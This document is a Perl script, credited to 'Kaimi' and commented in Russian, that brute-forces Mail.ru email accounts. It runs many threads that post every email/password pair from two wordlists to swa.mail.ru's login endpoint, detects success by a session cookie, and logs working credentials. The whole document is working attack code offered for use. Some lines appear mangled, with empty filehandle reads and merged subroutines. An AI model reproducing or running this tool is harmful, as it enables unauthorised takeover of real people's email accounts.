use warnings; use Socket; use threads; use threads::shared; use Fcntl ':flock'; #.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:.# my $threads = shift || 20 ; #Потоки my $emailfl = shift || 'emails.txt' ; #Емейлы my $passwfl = shift || 'passwd.txt' ; #Пароли my $logfile = shift || 'log.txt' ; #Лог файл #.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:.# my $total : shared = 0; my $emc : shared = 0; my $pwc = 0; my $sizeem = lcount($emailfl); my $sizepw = lcount($passwfl); my $time = time; my $switch = $sizeem < $sizepw ? 1 : 0; my $address = pack_sockaddr_in(80, inet_aton('swa.mail.ru')); $| = 1; #.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:.# $switch ? ($emailfl, $passwfl) = ($passwfl, $emailfl) : (); #.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:.# open EM, '<', $emailfl || die $!; open PW, '<', $passwfl || die $!; #.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:.# sleep(3); hat(); print "Started at ".localtime()."\n"; #.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:.# for(0..$threads-1) {$trl[$_] = threads->create(\&doit, $_);} for(@trl) { $_->join; } #.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:.# close EM; close PW; #.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:.# sub doit { while(my $login = ) { while(my $passw = ) { {lock($total); ++$total;} chomp $login; chomp $passw; makepost($login, $passw) ? note($login.':'.$passw) : (); print "[speed (".sprintf("%.2f",($total/(time-$time)))." tps)][progress ". sprintf("%.2f", ($total/($sizeem * $sizepw))*100)." %]\r"; } seek PW, 0, 0; } } #.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:.# $time = time-$time; print "Completed at ".localtime()."\n"; print "Time Elapsed: ".$time." sec\n"; #.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:.# sub makepost { my($login, $password) = @_; socket(SOCK, AF_INET, SOCK_STREAM, 0) || warn 'Socket error $!\n'; connect(SOCK, $address) || warn "Connection error $!\n"; $switch ? ($login, $password) = ($password, $login) : (); select SOCK; $|=1; select STDOUT; my($lg, $dm) = split /@/, $login; my $data = "action1=Login&Login=$lg&Domain=$dm&Password=$password"; print SOCK "POST /cgi-bin/auth HTTP/1.0\n"; print SOCK "Host: swa.mail.ru\n"; print SOCK "User_Agent: Mozilla 4.0\n"; print SOCK "Content-type: application/x-www-form-urlencoded\n"; print SOCK "Content-length: ".length($data)."\n\n"; print SOCK $data; read SOCK, my $buf, 512; close SOCK; return $buf =~ /Set-Cookie: t=/ ? 1 : 0; } #.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:.# sub hat { print <>", $logfile || die "$logfile - $!\n"; flock F, LOCK_EX; print F $_[0]."\n"; flock F, LOCK_UN; close F; } #.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:.# #(c)Kaimi